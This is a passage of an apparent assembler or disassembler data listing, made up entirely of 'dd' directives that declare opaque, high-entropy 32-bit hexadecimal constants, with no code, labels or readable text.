dd 0E0D13EA2h, 0A752E490h, 0E80FF218h, 18DB479h, 54036A4Dh
dd 0F0A4201Eh, 1B5DB868h, 7FC61190h, 288651Dh, 0C23F4873h
dd 8600C04Eh, 76872E84h, 29A363Bh, 14959941h, 9189CD58h
dd 0E2DEC004h, 78AE0078h, 41D20217h, 57B105D0h, 0F2E1DFA6h
dd 5FD05078h, 388CE744h, 0B50135C1h, 0E078C7A7h, 0E3A08040h
dd 3D77D6Dh, 74521669h, 35443292h, 0E8001E04h, 0E7842079h
dd 70F64Fh, 146F1726h, 0C8FDA408h, 848005C9h, 0F858B8E2h
dd 74C67502h, 46D91F1Ch, 0B0B10484h, 0C09E9DEAh, 0DAE420C0h
dd 0E40460D6h, 680B935Bh, 0A0FDEC02h, 673A386Ch, 0B2DB0F32h
dd 9F4A80BCh, 0B94871A7h, 6BE30164h, 64BF61F0h, 0C028D618h
dd 50A4587Bh, 0C4EB7C00h, 80F82F42h, 2147CD7h, 5BF46930h
dd 98524421h, 9140D0B9h, 14CB60A7h, 8C286DC5h, 42227894h
dd 0B5FFD912h, 0C549E401h, 70546F71h, 90208Ch, 9605ADC9h
dd 9329DDBCh, 974D0105h, 64C84948h, 3242000Ch, 0B7AAE436h
dd 277725B1h, 841D062Eh
dd 4D3D5700h, 0EC65D11Ah, 28AC0387h, 0DC5D5560h, 246FBC91h
dd 18165CCCh, 0E4D00F13h, 0B8439D12h, 86FC25h, 3CD5F65h
dd 0BB2B3A4Ah, 0F1E83900h, 0DD2F6772h, 40E0BE2Ah, 0A2D866CCh
dd 76F7F00Fh, 0E3A6A0C9h, 0B2F5C08h, 0A14CBB33h, 2769690Eh
dd 0C51418C8h, 37112C00h, 5C5EA46Bh, 49090040h, 31B357A0h
dd 0FD00EDA2h, 7E2DB9D1h, 86AF94Eh, 0EBAEC5DBh, 56D0F200h
dd 0F88A2EACh, 5980FD27h, 0AF9A1194h, 72099242h, 0A7B47Ch
dd 0A1882994h, 0EC1895FFh, 0B1009216h, 31D60C4Dh, 7752290h
dd 368FAD74h, 6E411042h, 494B8711h, 0E0B46840h, 50AD9ACFh
dd 58DCEBE4h, 0A18058FBh, 0CB9746B2h, 77C960Eh, 1034807Fh
dd 1375AC0Ch, 0FEDA878h, 9E8B8674h, 6C64A48Fh, 0AB04A0F3h
dd 58BC9A04h, 10ADF820h, 80022F00h, 88274CA5h, 48A7E8E3h
dd 5F931D00h, 0DC528714h, 0B9E023h, 0E0DDD3D5h, 46331F70h
dd 0E762C900h, 301798C0h, 20905AFDh, 0DFFE078h, 7694DC00h
dd 4F400EA9h, 0B2F80111h, 218E720Ah, 8F3B6095h, 13999200h
dd 0D7756F01h, 20864F51h, 0DA4FABFCh, 0D080E8B8h, 0D49CECC9h
dd 6EF0FF47h, 4F4D937h, 0C49D58B1h, 75F8A0CCh, 0C04C08F7h
dd 0C5A90731h, 0F23CBFB6h, 0F4E909EBh, 5054AA78h, 1443F824h
dd 7C558074h, 0AA190A93h, 0FDE52DCh, 0F8C96ABAh, 0BF20C090h
dd 1F21532Ch, 0C0D06900h, 1F0490AAh, 57E24824h, 0EE4C5DB3h
dd 98C74004h, 0A7008B52h, 6E1391F0h, 5D475Fh, 4A529C2h
dd 0BEEEB7B9h, 931CAD13h, 8586C501h, 4D708B69h, 7BCF24A1h
dd 411F412Ch, 74989638h, 89F9A888h, 61FB309Fh, 0FA5726h
dd 0F0845C17h, 45F1A004h, 0D841D8F1h, 19D4F34Bh, 0D52702BFh
dd 72809013h, 9B009879h, 204D2C11h, 0F4F672FBh, 138375AEh
dd 447AB953h, 56DFF154h, 7032D413h, 0A47610FFh, 4016F4Fh
dd 42777B40h, 5CD5F064h, 81DD7C74h, 0BDE78825h, 58D042B9h
dd 8CB4FC24h, 15C50011h, 0C954363h, 88003238h, 0E81235FFh
dd 308EDE1Ah, 68E0A779h, 0AA50D785h, 0DE24048h, 466FD616h
dd 88D0E088h, 2B0EB3E3h, 0A0DF64FAh, 4052048Ah, 0C00C00A4h
dd 0BDD24553h, 504B2085h, 0F9A264C3h, 4C2062C5h, 96C098C8h
dd 34EA962Ch, 9DB8BCF8h, 7DCCBDC0h, 0C2458D4h, 3317F8C4h
dd 0FF02A008h, 0C9C76FB6h, 990F10Fh, 0DFB469h, 0E0923D3Ch
dd 0BE6A4h, 544FEA49h, 551DC89h, 2938C8B8h, 77C200FCh
dd 0CDDFAF5Bh, 9DF87088h, 17F44411h, 0AC5220C0h, 6D08C0BAh
dd 58E5D343h, 460FB30Eh, 0E89040CFh, 0B3B0E49h, 447A8E59h
dd 85DA744Bh, 0A5E84B20h, 0B5E2F1h, 87BF94DEh, 0BC0AE061h
dd 2777F3Ah, 2081FF5Eh, 0AE64E04Ah, 0F7E7401Ch, 0A049322Dh
dd 28D555B0h, 0FFDA000Ah, 0D188DEC0h, 0F2485FD7h, 96D31018h
dd 89411DC6h, 8EFFB301h, 26AA0257h, 14D86FE1h, 0D8BC0001h
dd 9D0F7EACh, 2C0A5011h, 0B017C3A7h, 0A398900h, 0FA59D347h
dd 975C0ACBh, 43D427DEh, 2EB09EC6h, 361D4C2Fh, 0C78C8D0Ah
dd 28EF88CFh, 0CAE4CD05h, 0A6883E88h, 7D0804F4h, 6F8D4194h
dd 0D0605D4Bh, 64245FD0h, 0B68C8C48h, 770C600h, 6BED6478h
dd 55DD007Bh, 0B5DFE854h, 0A05ED63Eh, 416A3408h, 0E0267365h
dd 15E778Eh, 0C94D0870h, 138400C3h, 616D8007h, 0F40439B3h
dd 0B6B9D9F5h, 79F86C82h, 0BAC20060h, 5B412007h, 8A0AEF0h
dd 0FF0181A5h, 15D1AB08h, 880DBB6h, 45B15CADh, 0E000440Ch
dd 9F4BBB7Dh, 3C75C54Dh, 0AAB71FC2h, 82A49028h, 2A00342Fh
dd 8A7A46ABh, 74DE0E5Fh, 0AD8D20DBh, 0CF02041Ah, 0CCA96059h
dd 6704B859h, 0D03E2016h, 17D23A6h, 0C92F4A00h, 0EEC4C324h
dd 0F2E5E8F9h, 614E01FCh, 387D8A8Ch, 0EB31C4C6h, 6D19B107h
dd 1C41D313h, 19C35BA4h, 684DB571h, 151180FDh, 0D43E794Eh
dd 473100AFh, 0CE052EB8h, 0DC00BD4Bh, 0D6998130h, 0EEBBFF23h
dd 391A6190h, 80B75B96h, 7A0233B9h, 1F2E8B31h, 0C09D300Eh
dd 448A7611h, 7930B712h, 0CB0528DEh, 62F9006Ah, 0AE9BDA5Fh
dd 3B3DB647h, 9C658C42h, 0AA515Dh, 342DB7CDh, 359D1FCBh
dd 31885B54h, 0A0B60E18h, 0EE740F29h, 3ABEFA28h, 0D9800BCEh
dd 143F7323h, 0BF1865D6h, 9CB107B9h, 0E5FC00CBh, 63F6D7CCh
dd 0A100F8C2h, 0FDAD128Fh, 0A0339307h, 1F90D3D0h, 67CF426h
dd 416255DBh, 4E032A07h, 0BD03C21Eh, 19BEB8h, 0B39A7BBEh
dd 586B5BD8h, 80DE893Fh, 0E6AC807Eh, 796C0531h, 317D60E2h
dd 0B05B9247h, 82EF1D14h, 0A46629B9h, 48C8A907h, 759F151h
dd 2ADB62F4h, 30D49E83h, 0F029DDB6h, 5D90DF55h, 4FE54600h
dd 0DAE889CAh, 927F85Fh, 1ED3A7AEh, 0C6C95C10h, 0CEB4BC00h
dd 0C48A9FA2h, 5E7D000Ch, 179005EBh, 0B852EDADh, 0BE4B0E94h
dd 293600ACh, 79012Dh, 6956CD2Bh, 92ED78B7h, 5420E20Fh
dd 0DAFEE011h, 1C89A73h, 0DB9B0EF8h, 30077BEBh, 2AE290DEh
dd 597FB931h, 75C05D1Ch, 0BCCD0009h, 3F1897B5h, 0F112FED2h
dd 2C2096D6h, 488EC55Eh, 488758B9h, 0A66B0236h, 0DEB6540h
dd 0CA784000h, 0CF584DE3h, 9083541Eh, 61901DECh, 0D44A80C2h
dd 4EA053B8h, 94E93114h, 42DD00B4h, 9B3504EAh, 0D67489h
dd 6E178DA9h, 91BC9363h, 0B8420D00h, 121BF982h, 0E4AF7747h
dd 0CAAA1E90h, 0C0BC9505h, 1751DB0Ch, 46EA11A1h, 86F5901h
dd 9498DABDh, 299C918Dh, 0ACC4E031h, 511D1606h, 219A3Ch
dd 0FCD20518h, 0FF2DD6E9h, 0DAD70904h, 20CC95FEh, 69166050h
dd 51AB35B6h, 26DB10C3h, 4190A02h, 144CBD1Ch, 317C1854h
dd 1119A214h, 5ED410E2h, 0B82500EAh, 959649E7h, 0D700CFB7h
dd 88343EBAh, 3FB4783h, 9C16042Fh, 0C13BD333h, 0B500F031h
dd 0B44F3D26h, 92825F84h, 0B1816F34h, 6E113CC0h, 41070149h
dd 7E23D5E5h, 0D0C68BC0h, 28109008h, 74507D5Ch, 34018918h
dd 288880Ch, 0D6833B27h, 4D7CEE07h, 0F6C14C12h, 96C42303h
dd 90D1CB64h, 20647B1h, 839AF921h, 286130E1h, 2E9CCC58h
dd 0A3D93802h, 908B6C4Eh, 0E6FE8Ch, 187A0A5Fh, 450ED5F7h
dd 0E9CFF474h, 6F0100D0h, 4D5997F2h, 5783CCB7h, 2900A713h
dd 0A17E224Eh, 5805466h, 0A20E649Eh, 31C037DAh, 5459034Eh
dd 513CC664h, 3AD3C300h, 1F25039Eh, 0CAF23EBDh, 0C838A706h
dd 0C9004060h, 0B32B4DB6h, 0C0DAB0CDh, 77B87539h, 0F300F941h
dd 0D7E038C4h, 1B3E4C9h, 584E73AAh, 409DBF5Dh, 0A44BB5CCh
dd 0B0485C50h, 10E2A4A1h, 0C9312Eh, 2928BBB5h, 0B7A36853h
dd 54243600h, 3A936C69h, 0F8426011h, 493190CEh, 89E8DF30h
dd 0F5C958AAh, 1C8166D0h, 0D5DB8F80h, 0A530E8AEh, 0C9897B88h
dd 0C0A6B680h, 8AE16E39h, 3B0EA891h, 20205AF5h, 762CB4E0h
dd 9C100390h, 0D9B7247Bh, 3C813113h, 768C4900h, 0FD3522h
dd 53F15EBEh, 89E1BFA8h, 0C34E5100h, 9C421266h, 0E1596435h
dd 783CC8B8h, 233CD000h, 3A943DCFh, 2A3B0068h, 0C4C11A56h
dd 34FF9ADAh, 993E9194h, 0C6F90751h, 9520FA39h, 6D325h
dd 2E60C135h, 0CCBD101Eh, 1B916800h, 97A5039Bh, 4B85385Ah
dd 0C529DA00h, 70EB93CFh, 94A35F00h, 41DF12C9h, 0F3091D0h
dd 0F52802C3h, 7E0804CBh, 8B12D21h, 1A810531h, 8009E21Eh
dd 9A6BB898h, 0A11829C4h, 61DD1146h, 31EDD200h, 0DE5AFF54h
dd 0B0EE085h, 4626A256h, 20F5E087h, 0B4E809EFh, 0FC76E8A1h
dd 51009F18h, 3FAAC028h
dd 5CECFE48h, 5F025437h, 0F72E7AE2h, 313C9044h, 0EA390EB6h
dd 30CB42A8h, 41E162B7h, 7C73807Ch, 473C5524h, 30EC009Bh
dd 6D06A6E2h, 641904DEh, 0A0203B9h, 0BD369C63h, 8B86118h
dd 39ED7739h, 1A80AF6Eh, 880FB601h, 633DA8F2h, 996A805Fh
dd 0C518AF6h, 0D1021CC7h, 30F0026Dh, 0DCC0E352h, 0E80AE37h
dd 0DAFA1CD2h, 0A1B5D997h, 9C1FD459h, 37ABB1C0h, 0F51860h
dd 0B9A319D5h, 890DF8B8h, 52313300h, 0F253DBE6h, 1104B0ACh
dd 3BA7B70Eh, 0E2590097h, 600D4B96h, 0FE3200A5h, 56A23F24h
dd 8414E193h, 11F0EE52h, 44759A1Ch, 0A66011DEh, 0D2ED96F9h
dd 928100CCh, 0B00A5A17h, 31523C9Ch, 1051EBCh, 27D139B7h
dd 0DA81512Dh, 0A89F4ECh, 19A442B5h, 611618A4h, 6062B734h
dd 0E765E602h, 0E88B4C2Fh, 4FC15482h, 847D3842h, 4E80B9F6h
dd 4997DB89h, 0A5065416h, 98900DA8h, 4ADAE544h, 549028FDh
dd 19E1CA00h, 0CC03B9FBh, 4F3E836h, 5627082h, 0FC1F5202h
dd 8C99B00Ah, 84BC1A88h, 1F1759DBh, 29225C25h, 331F80A0h
dd 0BF4FCA02h, 5055DA19h, 0FC30B541h, 48B70ACFh, 18CAE8h
dd 2E03312Fh, 79C0A8CEh, 0B29E9AEh, 0C84730B7h, 0CF308928h
dd 880724F2h, 0E89E713Ch, 0DAF21AF0h, 0B6962C99h, 0D33788E8h
dd 789128A8h, 0F8B8980h, 2D934A3h, 855E4F0Dh, 0C461ADBFh
dd 49DAC104h, 7020D6F8h, 5AF24Bh, 0F947A2D8h, 0B7565CD5h
dd 0CBFF2302h, 0E181C158h, 8861500Ch, 5E9C698Bh, 4EB6C818h
dd 0D98AA400h, 0AF2C9A48h, 28E43E16h, 7160B53Eh, 6F58D6A1h
dd 0C3051A00h, 9683EF6Bh, 0B9403C20h, 1FF3B0D4h, 49101D6Ch
dd 0D68067E3h, 0A4511934h, 2ACDE403h, 0D845DEB7h, 38D2EBE5h
dd 0D69A81B9h, 84C1985Eh, 87B5137Ch, 4F2C2700h, 8B780506h
dd 0CC26DA92h, 9D4E4E94h, 400053E8h, 122EB741h, 5800A993h
dd 1D1F50DFh, 6AC0B9Fh, 0D75101F6h, 2E1A111Eh, 0E42992EAh
dd 7EBA3ABCh, 0EF0FC80Eh, 0A8234A60h, 0F000DF39h, 0B32965DEh
dd 5314A4h, 0BB30A71Fh, 0E5463C19h, 20BC9700h, 0D1EE4DE3h
dd 6254F09Ah, 9329115Ah, 2F051481h, 7C432B2h, 436DCA24h
dd 89DDB9B1h, 9B806C28h, 1F5D901Ch, 4C4E500h, 0E293452Ah
dd 0B094B2B2h, 0CC8B516Ch, 4A00E072h, 612C2E71h, 9102A731h
dd 0EFCDE5D5h, 29CC3DBh, 343D459h, 24E05729h, 0B630FACFh
dd 0BE2A41DFh, 0BAB3011Eh, 6140241Ah, 14CC34A5h, 0B0CB8900h
dd 0E3B49733h, 2635F8D5h, 0C8111Dh, 7D79D231h, 0BD0059ABh
dd 0EC961ACh, 3D192603h, 0B81A0816h, 0D4808106h, 0F26C9573h
dd 3715C700h, 33328E93h, 56360AE9h, 9481805h, 4125ADBh
dd 10ABF041h, 22B555Fh, 2AD3A00Ch, 0B8C1EB1Bh, 0F3A6102Fh
dd 9F372454h, 0B6BC0894h, 9B7AB40h, 6AE9077Ch, 110E50E7h
dd 0F7C6F5E1h, 72B036B3h, 8902C9F0h, 1181205Eh, 498C48DBh
dd 8C1A0080h, 2EBC61BFh, 3C3F9674h, 0E7BE14F2h, 0CE8F418Eh
dd 2A002C50h, 26736EA0h, 0A0A6813Ch, 14E8FBE4h, 0B87CE02Eh
dd 365BBDC1h, 2F7760CFh, 0BEA12D38h, 0DB19090Eh, 9CD848FFh
dd 89DC6132h, 22B6B731h, 5A5000C4h, 9E1A5490h, 1CF02DDh
dd 37F922A2h, 30B4F840h, 0AC21934Eh, 0A08B5BCh, 0C4603281h
dd 18CB9B6h, 0BC9F0308h, 0A2B1F458h, 5484A300h, 2C5D34C2h
dd 0A1B40F59h, 31981B05h, 0C8B2EF11h, 9600B6F8h, 8BAEFC65h
dd 2CE34083h, 0E8EDA0h, 846C0EE0h, 9E0935C2h, 0C0141A05h
dd 5278ADCh, 555848C4h, 1ED84623h, 65EAF997h, 8D05A6ECh
dd 0D808C9DBh, 93672008h, 3DE02111h, 6B3E8AF2h, 0B109AA99h
dd 1D3C0007h, 91B31405h, 343880B8h, 4E186742h, 72B99300h
dd 15C908C7h, 0E8122E6Bh, 0D8051588h, 0DB604D80h, 8E74B8CCh
dd 9F9C964Ch, 45073ACFh, 0A881736Bh, 0A432125Eh, 20BD8F00h
dd 9C899A43h, 39596705h, 78C8F02Fh, 40214B50h, 0F5CF14D8h
dd 0A77416B2h, 1D2DB607h, 0E3039CC0h, 0A4581230h, 0A70CB58h
dd 9882DAAEh, 7488B645h, 16B7E5Fh, 0D6550722h, 55F0359Eh
dd 9D940CD4h, 58A84D31h, 5602FC14h, 1AF184C6h, 4134498Bh
dd 30D448h, 97B5E7D4h, 45CF3FF6h, 3616B700h, 0BD0789D5h
dd 36079531h, 9935C166h, 500C3328h, 9776B888h, 4FECA4E6h
dd 0A64A9313h, 90116432h, 7702E8Ch, 836B1866h, 1B6C471Ah
dd 7F5E0802h, 0D1309B13h, 6120E7F8h, 949C78B7h, 90B89254h
dd 0AFF5ED78h, 5605BE05h, 0D013246Fh, 2EDC80C8h, 747DB07h
dd 0A0FDE09Fh, 8F6786C2h, 7AA57901h, 0EA805919h, 0AB0C9841h
dd 0FB389100h, 0AB841C6h, 17F80069h, 0B9E2FE95h, 857A48DBh
dd 4AD5DA00h, 0FB1D9AACh, 2FED07BDh, 5BD6D9FFh, 701E0009h
dd 89020242h, 5B9D0F3Eh, 0D9F2C0ACh, 0C901A07Ch, 65B60281h
dd 0A0209B70h, 53A8A026h, 0F91A8860h, 0BC9E86F8h, 0EAB58Bh
dd 71F747E3h, 0CBE600CEh, 0E50A82F1h, 3000342Dh, 0B7369B46h
dd 1F216CAAh, 641316B3h, 6E1B1E44h, 0F90D9A7Ch, 8F8A5C80h
dd 0AE3C527Ch, 8BD918F7h, 16B79811h, 0CC160536h, 89DE813Ch
dd 7960C426h, 0EAD3D6h, 10D5B316h, 65DE227h, 0DD782301h
dd 0FE81B44Eh, 9803985h, 6058D4D7h, 0E89D2724h, 1CB19500h
dd 18EB8805h, 0F4FC01A4h, 2616A523h, 460F2C5h, 9D601FC4h
dd 0CB81F341h, 53560099h, 879C62D2h, 0C5000AE3h, 0DE4ADD2Eh
dd 0C793E941h, 0C0D75044h, 0A44610BCh, 1F910800h, 0DA10398h
dd 0C12A005Fh, 4A4FDA32h, 622442FFh, 0BC1FC71Dh, 19D3ED40h
dd 1DA43B5h, 0A6CA9529h, 0E817C79Ah, 1F483E94h, 0E5DE80DCh
dd 2F110E6h, 8C347C70h, 48E4B98Ah, 0A0F71500h, 16455DBCh
dd 75BF054Ch, 14A6AB37h, 0D0807CCCh, 26A002D8h, 2007258h
dd 249C1A92h, 0FF5844E1h, 5FC24210h, 2CA25402h, 40F104A4h
dd 1FED253h, 8D9128Ah, 9FD8119Bh, 1E4F5659h, 0E9A18062h
dd 5F2A30h, 0DFABB293h, 7A05AA91h, 9258457Bh, 1B048434h
dd 0F4CA50CCh, 26D624F9h, 1429154Ch, 0DAC0F448h, 2035EBD2h
dd 9D88651Ch, 7EACB6C0h, 15F8D7C9h, 8F5443Eh, 124C2609h
dd 0C33B7848h, 0E176CE00h, 49CB21C7h, 4E404C46h, 0D8B6FB0Bh
dd 1007C809h, 98249834h, 457C9411h, 51F8605Bh, 0DB061A16h
dd 575E2881h, 0D9451608h, 12FF6842h, 0B70F0C58h, 2F937B4Dh
dd 0B4B241EEh, 6831F14Eh, 39960464h, 0B6246D2Eh, 5786605Ch
dd 740061DFh, 0B2EED420h, 751F0DBDh, 9C991224h, 0B7FC3033h
dd 270B8B4Eh, 10124435h, 637BB8h, 0EEA5B5CEh, 1C64AE78h
dd 0FCF35200h, 9724CA01h, 62250DFFh, 8F26B631h, 60D9B779h
dd 9008EFA7h, 0D46401CFh, 0FD118783h, 2C50DCA3h, 13348A14h
dd 693E34h, 7A0D1DE9h, 1AE9B64h, 534FCD98h, 0FCDEFD5Eh
dd 635C5102h, 2CBF0063h, 2A4E609Eh, 0B4F4A4BAh, 781691C4h
dd 0D5D73102h, 0D2134DB0h, 0A1C60F1Ch, 0F5209391h, 8B6D0A39h
dd 0D569971Ch, 54A62200h, 2973F23Eh, 0C0FCDBh, 3DC98A33h
dd 0D57DD6DAh, 1823EC38h, 0C10D9FDh, 123C035Eh, 4229997Ah
dd 9E61081Ch, 5DA45643h, 1E492709h, 9228D820h, 0F90048AFh
dd 0BC1FD020h, 0DDD2C1h, 0AB21732Fh, 311D3E52h, 2423000h
dd 1913D6Dh, 4333031Fh, 0C360B0AAh, 0A4473E80h, 0C8D85E58h
dd 0FCE4816h, 1BEB0283h, 3C28348Ah, 58AB0A10h, 0ACEBC0C4h
dd 0A0DC1022h, 7F72BBh, 1380FDAFh, 0DAB7A8FAh, 91192727h
dd 0B8380284h, 0C0CA061Fh
dd 0FD70FC2Eh, 4CB871D3h, 0F38CF21h, 0EFA04361h, 8B25F0DFh
dd 8C40B94Fh, 0F9AC845Ah, 0F6E0036h, 0B5DE6AE1h, 17070B76h
dd 0C94A9411h, 1601ECEAh, 0AFCFF5DFh, 39AED980h, 6461724h
dd 1EB40A4Ch, 0A0271436h, 0DAE46C18h, 7F18A098h, 60EF841h
dd 99DB12D2h, 913C1925h, 1904046Dh, 6CE6DE63h, 1BD4DD02h
dd 5BE09867h, 57001EA4h, 0C30DF0D1h, 0C4A1369Eh, 0E4FDDA71h
dd 6D04A6A0h, 1190587h, 1D30E088h, 0E7267CFh, 0A0399081h
dd 2D303D03h, 95C4A011h, 0E4C9DAh, 49B6C5F6h, 0F05AD7B1h
dd 0CBE830D0h, 308800AEh, 187EA73Dh, 8994614Eh, 0BF0B16D1h
dd 481F45Fh, 2035E60h, 0C9E1CC2Ch, 6CC5F2CEh, 1F54B12Fh
dd 0C0000C22h, 2E4DBC46h, 6F05E69Ah, 0C4AD2980h, 87D6CA80h
dd 0AFEA00B7h, 51A82D5Ch, 5A371A05h, 238048CBh, 0F60E5049h
dd 0A98212D4h, 8F84002Dh, 14A09737h, 0C0B419D0h, 12538E5Bh
dd 972600DCh, 3D997646h, 472F2C83h, 3108A066h, 5AAEAF64h
dd 42E809E7h, 25D05068h, 1C58DF4Ah, 99AD610h, 4DAE28A1h
dd 417C3804h, 0CE4FE7DEh, 0C02BDAF7h, 0B1124EC1h, 0CC8E093Ch
dd 0DB2D6680h, 0E2034232h, 17C54F40h, 9C2810B0h, 0E8310016h
dd 6DFEEFB5h, 30AC2D75h, 77AB8C80h, 500BAD58h, 52F9C3Fh
dd 0DC80EE81h, 28CBB697h, 1E47655h, 620681C0h, 299FFDDBh
dd 13218Ch, 0E0F82D16h, 79001B06h, 8F2A5E88h, 0B799D68Ah
dd 0B6E8F4D0h, 22E0A949h, 0BCBB00B1h, 3E2395E6h, 0F4909DECh
dd 30C0D400h, 0D019AE86h, 0DDB7002Dh, 58FF366Ch, 8271DB63h
dd 0F24AA53h, 6053F227h, 2089E62Eh, 9E2F099Bh, 4900C4CCh
dd 29517030h, 1611CF60h, 0B1736E3h, 0AEE9B6BDh, 4FC7C040h
dd 38FF58E8h, 3189A0A4h, 7420951Fh, 9F178DC9h, 7854C000h
dd 58B98EC3h, 0FCC5486Bh, 0D5F26F81h, 0BAF0894h, 88B7122Ah
dd 72387841h, 0B4A80048h, 0DC7E8D6Ah, 5A100017h, 70B08BDBh
dd 950E6B05h, 12EB5D1h, 6584E623h, 65CC820h, 64053E8Ah
dd 0A7001019h, 0FC215F90h, 95D55DBh, 1FCAAA93h, 0D6DC9810h
dd 1223881Ch, 0C4E1F358h, 48137496h, 0DE2284CBh, 0C4CB189Eh
dd 85EC04h, 0BFA3AEDDh, 0B28C3DBEh, 2C336100h, 12060E30h
dd 2C34E508h, 9C944483h, 0C088314Ah, 8607249Eh, 0C7160078h
dd 31DF0EF5h, 6E97B117h, 0B929C490h, 81FC881Ah, 8CC0C95h
dd 1980E1B8h, 608284ECh, 0E901B4E5h, 9322DC2Ch, 209774A2h
dd 8AEC0958h, 64ACA019h, 93279DF2h, 83842038h, 1FE8B7B9h
dd 4C4E78D6h, 5241612Eh, 887B8680h, 0F700A284h, 0F43BA05Fh
dd 483025C6h, 9216546Ch, 5281F88h, 0F2141EF5h, 64D700B4h
dd 0A05880E2h, 49B00078h, 0FC2CAA5h, 71D0B47h, 93C21975h
dd 0C067318Eh, 4EC127E2h, 594C40B0h, 0E51DB34Ch, 2F05300Ch
dd 0EC8A19B6h, 909119AFh, 0DC2A787Ah, 8996CDFh, 7D8B2B89h
dd 0E26B5E80h, 4104172Ch, 0F6F75B3Dh, 7D908C3h, 2879ED29h
dd 0DAF90B8h, 9727BC5Ah, 317CA1A1h, 0F6D479DAh, 47210259h
dd 9997DB8Bh, 0E93BECA0h, 2E007F9Eh, 0BD570BEDh, 99C30C3h
dd 9BA64B35h, 0F0E8D0C1h, 2BF9AEC9h, 7890E416h, 4364Ch
dd 3E30BA59h, 9DEDCBE0h, 8F83483Ah, 621151F6h, 4B7D55A4h
dd 37F7C760h, 0CEBC669Bh, 8724F1F8h, 0DB1E82FCh, 408C3063h
dd 0A5979D4Dh, 9FD899AEh, 0AC35C0A1h, 69B8A8Eh, 7D92600Eh
dd 0B6522031h, 94E855DAh, 961E0CB4h, 4A00C7E9h, 0E181D61h
dd 489C4E01h, 0C9836837h, 383EA052h, 0E8B5401Bh, 5F0992Ah
dd 0A4B72B27h, 6C00AE40h, 0B6EE1D78h, 0CE0386Bh, 1868B29Dh
dd 0E180B880h, 1048098h, 0DB84C49Eh, 50E41826h, 0BC6F2C4Eh
dd 0B09012D4h, 5932DBC8h, 441E2101h, 97F002BCh, 6410B889h
dd 8B0BEC56h, 33A03051h, 473188D0h, 340260EEh, 0F5C5ACB7h
dd 1CC56B1h, 22433BB5h, 0BEF840A1h, 0B4014F0Bh, 30467A05h
dd 54611A92h, 4CF0202Eh, 0B5000BA0h, 172765CEh, 364A5B7h
dd 0BC1AD326h, 0E082E9DCh, 0B1826843h, 84924C22h, 74A8B43Ch
dd 76CB8CAh, 0C0EFE9C9h, 80AE81EBh, 8793F01Eh, 2A4FD9C3h
dd 58249B9Fh, 2C4050F4h, 54BFA06Ch, 8AA50536h, 8D3BD07h
dd 0EB807C2Ch, 0B489EE54h, 969B095Bh, 2E0EF920h, 21C7A0E0h
dd 0C505ED7Fh, 0A9AD7886h, 0A300D887h, 309CB629h, 3351DF58h
dd 9900C481h, 0D6FFD130h, 0B191B728h, 0B1842804h, 0E2B01264h
dd 0BB760040h, 0A4ED6510h, 29900096h, 0ABFB9ADBh, 0B74F15CAh
dd 46217C41h, 0F7E836EAh, 77F2195Ch, 0BAB4DE1Bh, 0CBB08528h
dd 94E4B6B5h, 965903D8h, 8DE53382h, 77753680h, 4C50848h
dd 0F7B68A81h, 9486A8A0h, 3A7D80ECh, 0E3E616BAh, 4356A200h
dd 349674A6h, 0F287FA0Ah, 0CDB2003Ch, 30ED6BB4h, 0EE014AACh
dd 0A34C4D49h, 9C40A2F8h, 512EB12Ch, 646C0CF0h, 7F818880h
dd 0F7EEA042h, 0B6BC1700h, 14C70C2Fh, 990A269Fh, 4A581D3Ch
dd 40D4E8F9h, 0A431C8D0h, 0B4C95C4Bh, 85219D6h, 1D660046h
dd 2A09692Ch, 62007291h, 0BE17871Fh, 3AAFE8B6h, 0A4CC6EA5h
dd 0DB28FB22h, 1097505Eh, 7921B9A0h, 48D6006Fh, 1FAE0982h
dd 0C70B5113h, 2BAD53DAh, 59D8E1ACh, 2E211473h, 80968589h
dd 3C0D9F50h, 97250736h, 86011AA0h, 58F05CEFh, 10C5E470h
dd 14008729h, 0CDAD7FB6h, 3F2E15B7h, 8C4284D2h, 31C9F882h
dd 0E340245Eh, 58D05Dh, 0CD14B30h, 0E7146CFBh, 40005BEAh
dd 639335A8h, 98E33001h, 6296168Ch, 971830ECh, 0B903341Fh
dd 1C8FD34Bh, 92F0CF47h, 2465445h, 4DE1308Ah, 609B58h
dd 6777A9FAh, 0E0A208D2h, 5F98BC00h, 0A1F6DF69h, 4AEDEC00h
dd 42EB4B5Eh, 2D051347h, 0D40CC8BCh, 12A8CD5Ch, 0FCF344B7h
dd 99411322h, 0D3805068h, 88CD2519h, 26241A16h, 36B0888h
dd 41EC9273h, 918AE8FAh, 0C57A9785h, 8374A23Ch, 0C0C37D67h
dd 5435492Ah, 6E2417h, 82A157D3h, 9006091Ah, 7A425801h
dd 827DB81h, 0DF224023h, 0C81152h, 0A30A2DBCh, 9F2B480h
dd 0FE7B8531h, 2E213C58h, 0D811A0h, 266B4190h, 7E372B1h
dd 4675791Eh, 0A6E8702h, 16AB0E80h, 0E43B5125h, 0F6522E7Ch
dd 62520194h, 493E8EF9h, 4FE5C464h, 19102033h, 3D3DC25Dh
dd 1209F526h, 993431h, 73876993h, 3BCD0576h, 13B73E42h
dd 8F1044F0h, 0CAAE065Fh, 18615910h, 10DAA589h, 0A6419445h
dd 7421304Ah, 9803D862h, 7252B758h, 1FD6A003h, 91CB156Ch
dd 6FF1A44Eh, 0D01E2992h, 0CBF73DD8h, 7C002CF4h, 0F2123BF8h
dd 2ADAEEh, 0D018F6E9h, 9D0B84B3h, 4A4879F3h, 2154088h
dd 518A5C87h, 20404496h, 990065D4h, 308B4E90h, 0F4295B97h
dd 8A6F0081h, 25CAFB93h, 0AF447CF4h, 1412484Dh, 82571F80h
dd 0D80FA574h, 2760F231h, 9C805099h, 3427E853h, 0D8C84DB7h
dd 2F059BC8h, 208A30B4h, 0F3D690C0h, 93BB1661h, 2E30C827h
dd 19F03830h, 6B05FFDBh, 189080ABh, 580095C6h, 3427D03Ah
dd 0E9E824h, 0AEF31F94h, 0D7901299h, 4C9CF200h, 22E0DD8h
dd 1805085Eh, 0DB04DEBEh, 548C0750h, 0D04484D8h, 702E069Ch
dd 905D0864h, 48B39E00h, 26D950DFh, 0AC7126C8h, 21510678h
dd 0E8901125h, 0DA299162h, 10EC5196h, 49C8805Eh, 25F5B5ACh
dd 98CCF181h, 9814909Fh, 0A16B0054h, 0FC514487h, 23FAF435h
dd 0AEAE503h, 0F4B8A22Dh, 0F2140444h, 0CD2E001Ch, 0ACBB2AFDh
dd 4AE43F2Dh, 92B55D80h
dd 0C0247D46h, 8EE22E2Ch, 19AB6403h, 0F3AD80D2h, 0A65E2729h
dd 1C0064E6h, 4DB1A594h, 3AC01D3Ch, 0B9894BF7h, 0E0935049h
